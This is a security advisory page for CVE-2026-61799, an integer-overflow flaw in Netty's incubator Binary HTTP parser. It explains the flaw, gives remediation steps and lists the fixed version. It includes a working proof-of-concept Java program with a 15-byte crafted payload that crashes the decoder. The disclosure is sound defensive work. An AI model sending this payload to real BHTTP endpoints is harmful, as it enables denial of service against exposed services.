CVE-2026-61799 is a medium-severity (CVSS 5.3) CWE-190 vulnerability in io.netty.incubator:netty-incubator-codec-bhttp. A fix is available for io.netty.incubator:netty-incubator-codec-bhttp — see the affected versions and patch details below.
netty-incubator-codec-ohttp: Binary HTTP parser unchecked varint length overflow causes decoder crash
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
io.netty.incubator:netty-incubator-codec-bhttpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
io.netty.incubator:netty-incubator-codec-bhttp uses attacker-controlled Binary HTTP variable-length integers as long values but accumulates them into int offsets. Large valid varint lengths wrap the internal offset negative, leading to unchecked ArrayIndexOutOfBoundsException / IndexOutOfBoundsException from a tiny malformed BHTTP payload. A remote peer can trigger connection-level denial of service in applications that expose BinaryHttpParser / BinaryHttpDecoder to untrusted input.
Details
In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, several parser paths store cumulative byte offsets in int sumBytes and then add attacker-controlled long lengths using compound assignment. In Java, int += long narrows the result back to int, so a length such as 2^31 wraps sumBytes negative.
Primary request-control-data path:
readRequestHead(...)declaresint sumBytes = 0atBinaryHttpParser.java:386.- It reads
methodLengthas alongatBinaryHttpParser.java:394. - It performs
sumBytes += methodLengthatBinaryHttpParser.java:395, narrowing the result toint. - If
methodLengthis2^31,sumByteswraps negative and bypassesif (sumBytes >= in.readableBytes()) return nullatBinaryHttpParser.java:396-398. - The parser then computes
schemeLengthIdx = in.readerIndex() + sumBytesand callsin.getByte(schemeLengthIdx)atBinaryHttpParser.java:401-402, producing a negative index exception.
The same pattern is present in header parsing:
readFieldLine(...)usesint sumBytesand addslong nameLength/long valueLengthatBinaryHttpParser.java:659-680.valueLengthIdx = nameIdx + (int) nameLengthatBinaryHttpParser.java:674can also overflow.
getIndeterminateLength(...) similarly uses int sumBytes and long possibleTerminator at BinaryHttpParser.java:544-553.
Proof of concept
Safe local verification performed in this repository. After compiling codec-bhttp, the following minimal verifier uses a 15-byte payload:
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
public final class VerifyBhttpOverflow {
public static void main(String[] args) {
byte[] payload = new byte[] {
0x00, (byte)0xc0, 0x00, 0x00, 0x00, (byte)0x80, 0x00, 0x00, 0x00,
0x47, 0x45, 0x54, 0x58, 0x58, 0x58
};
ByteBuf input = Unpooled.wrappedBuffer(payload);
try {
new BinaryHttpParser(8192).parse(input, false);
System.out.println("returned");
} catch (Throwable t) {
System.out.println(t.getClass().getName());
System.out.println(t.getMessage());
}
}
}
Payload interpretation:
00: known-length request frame indicator.c000000080000000: valid 8-byte varint encoding of0x80000000(2^31) as the method length.474554585858: a few dummy bytes so the parser proceeds far enough to compute the next index.
Observed result:
java.lang.ArrayIndexOutOfBoundsException
Index -2147483639 out of bounds for length 15
The parser should reject the malformed/incomplete message with a controlled decoder exception or return null awaiting more bytes; it should not allow integer wraparound to reach unchecked buffer indexing.
Impact
A remote peer can trigger an unchecked exception in the Binary HTTP decoder using a tiny payload. In typical Netty pipelines this closes or fails the affected channel. Depending on application-level exception handling, repeated payloads can cause sustained denial of service for exposed BHTTP endpoints. No memory corruption or information disclosure was observed because the failure occurs in Java/Netty bounds checks.
Suggested remediation
- Use
longfor all cumulative byte counts derived from protocol lengths. - Before converting any protocol length to
int, verify it is non-negative, no larger thanInteger.MAX_VALUE, and no larger than available readable bytes and configured limits. - Replace
sumBytes >= in.readableBytes()checks with precise checked arithmetic that permits exact-boundary complete fields but rejects impossible lengths. - Throw a controlled
CorruptedFrameException/TooLongFrameExceptionfor invalid or unsupported lengths. - Add regression tests for 8-byte varint lengths at and above
Integer.MAX_VALUEin request control data, response control data, known and indeterminate field sections, and field lines.
References
codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:386-402codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:659-680codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:544-553- RFC 9292: Binary Representation of HTTP Messages
- RFC 9000 variable-length integer encoding
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty.incubator:netty-incubator-codec-bhttp | all versions | 0.0.23.Finalio.netty.incubator:netty-incubator-codec-bhttp:0.0.23.Final |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty.incubator:netty-incubator-codec-bhttp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty.incubator:netty-incubator-codec-bhttp to 0.0.23.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-61799 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Frequently Asked Questions
Is CVE-2026-61799 in your dependencies?
Find it across Maven, including transitive dependencies.